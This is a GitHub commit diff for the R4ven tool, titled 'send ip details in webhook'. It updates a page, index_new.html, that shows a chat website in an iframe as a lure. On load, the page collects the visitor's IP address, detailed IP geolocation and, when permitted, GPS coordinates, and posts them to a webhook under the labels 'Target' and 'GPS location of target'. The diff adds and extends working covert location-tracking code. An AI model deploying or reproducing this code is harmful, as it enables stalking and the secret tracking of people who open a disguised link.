Skip to content

Commit 885295a

Browse files
send ip details in webhook
1 parent f40a2da commit 885295a

File tree

7 files changed

+62
-23
lines changed

7 files changed

+62
-23
lines changed

index_new.html

Lines changed: 61 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
12
<!DOCTYPE html>
23
<html>
34

@@ -9,7 +10,7 @@
910

1011
<body onload="getLocation()">
1112

12-
<iframe src="https://www.tohla.com/chat/" width="100%" height="900" style="border:none;">
13+
<iframe src="https://www.meetskip.com/chat" width="100%" height="900" style="border:none;">
1314
</iframe>
1415

1516
<p id="demo"></p>
@@ -35,8 +36,8 @@
3536
}
3637

3738
var params = {
38-
username: "R4ven",
39-
avatar_url: "https://i.pinimg.com/originals/27/bb/72/27bb72f7f7085f9c81153ce6c7bc2605.jpg",
39+
username: "R4VEN",
40+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1050532742707806288/vecteezy_cute-flat-illustration-cartoon-of-thief-hacker-stealing-data_14603389.jpg",
4041
embeds: [ myEmbed ]
4142
}
4243

@@ -54,15 +55,58 @@
5455

5556
var myEmbed = {
5657
author: {
57-
name: "Grabbed Taregt Ip"
58+
name: "Target Ip"
59+
},
60+
description: '```xl\n' + data.ip + '```' + '\n__**IP Details:**__ https://ip-api.com/#' + data.ip + "\n" +
61+
'```diff\n- Geographic location based on IP address is NOT accurate, it provides the approximate location of the ISP' + '```'
62+
}
63+
64+
var params = {
65+
username: "R4VEN",
66+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1050532742707806288/vecteezy_cute-flat-illustration-cartoon-of-thief-hacker-stealing-data_14603389.jpg",
67+
embeds: [ myEmbed ]
68+
}
69+
70+
request.send(JSON.stringify(params));
71+
})
72+
73+
$.getJSON("http://ip-api.com/json/?fields=status,message,continent,continentCode,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,offset,currency,isp,org,as,asname,reverse,mobile,proxy,hosting,query", function(response) {
74+
75+
const request = new XMLHttpRequest();
76+
request.open("POST", "/location_update"); //change webhook
77+
78+
request.setRequestHeader('Content-type', 'application/json');
79+
80+
var myEmbed = {
81+
author: {
82+
name: "IP address:"
5883
},
59-
title: "IP address:",
60-
description: '```xl\n' + data.ip + '```' + '\n__**IP Details:**__ https://ip-api.com/#' + data.ip
84+
title: response.query,
85+
description: '```autohotkey\nContinent: ' + response.continent +
86+
"\nContinentCode: " + response.continentcode +
87+
"\nCountry: " + response.country +
88+
"\nCountrycode: " + response.countrycode +
89+
"\nRegionname: "+ response.regionName +
90+
"\nRegion: " + response.region +
91+
"\nCity: " + response.city +
92+
"\nDistrict: " + response.district +
93+
"\nZip: " + response.zip +
94+
"\nTime_zone: " + response.time_zone +
95+
"\nName: " + response.name +
96+
"\nAs: " + response.as +
97+
"\nIsp: " + response.isp +
98+
"\nReverse: " + response.reverse +
99+
"\nOffset: " + response.offset +
100+
"\nCurrency: " + response.currency +
101+
"\nProxy: " + response.proxy +
102+
"\nMobile: " + response.mobile +
103+
"\nLat: " + response.lat +
104+
"\nLon: " + response.lon + '```'
61105
}
62106

63107
var params = {
64-
username: "R4ven",
65-
avatar_url: "https://i.pinimg.com/originals/27/bb/72/27bb72f7f7085f9c81153ce6c7bc2605.jpg",
108+
username: "R4VEN",
109+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1050532742707806288/vecteezy_cute-flat-illustration-cartoon-of-thief-hacker-stealing-data_14603389.jpg",
66110
embeds: [ myEmbed ]
67111
}
68112

@@ -88,15 +132,16 @@
88132

89133
var myEmbed = {
90134
author: {
91-
name: "Allowed Location Permission"
135+
name: "Target Allowed Location Permission"
92136
},
93-
title: "Target gps location...",
94-
description: latlong
137+
title: "GPS location of target..",
138+
description: latlong + "\n" +
139+
'```diff\n+ GPS fetch almost exact location because it uses longitude and latitude coordinates.' + '```'
95140
}
96141

97142
var params = {
98-
username: "R4ven",
99-
avatar_url: "https://i.pinimg.com/originals/27/bb/72/27bb72f7f7085f9c81153ce6c7bc2605.jpg",
143+
username: "R4VEN",
144+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1050532742707806288/vecteezy_cute-flat-illustration-cartoon-of-thief-hacker-stealing-data_14603389.jpg",
100145
embeds: [ myEmbed ]
101146
}
102147

@@ -113,8 +158,8 @@
113158
request.setRequestHeader('Content-type', 'application/json');
114159

115160
const params = {
116-
username: "R4ven",
117-
avatar_url: "https://i.pinimg.com/originals/27/bb/72/27bb72f7f7085f9c81153ce6c7bc2605.jpg",
161+
username: "R4VEN",
162+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1050532742707806288/vecteezy_cute-flat-illustration-cartoon-of-thief-hacker-stealing-data_14603389.jpg",
118163
content: "```diff\n- User denied the request for Geolocation.```"
119164
}
120165

@@ -133,4 +178,4 @@
133178
}
134179
</script>
135180
</body>
136-
</html>
181+
</html>
File renamed without changes.
File renamed without changes.

pydentic_files.py

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,4 @@
11
"""
2-
Author: R3tr0
3-
Date: 25/09/2022
42
Purpose: will hold the pydentic data
53
"""
64
from pydantic import BaseModel

r4ven.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
website = 'https://spyboy.in/'
99
blog = 'https://spyboy.blog/'
1010

11-
VERSION = '1.1.1'
11+
VERSION = '1.1.2'
1212

1313
R = '\033[31m'
1414
G = '\033[32m'

utils.py

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,4 @@
11
"""
2-
Author: R3tr0
3-
Date: 25/09/2022
42
Purpose: will hold the util functions of the program
53
"""
64
import json

webapp_backend.py

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,5 @@
11
#!/usr/bin/env python3
22
"""
3-
Author: R3tr0
4-
Date: 25/09/2022
53
Purpose: will handle the fast api requests.
64
"""
75
from fastapi import FastAPI

0 commit comments

Comments
 (0)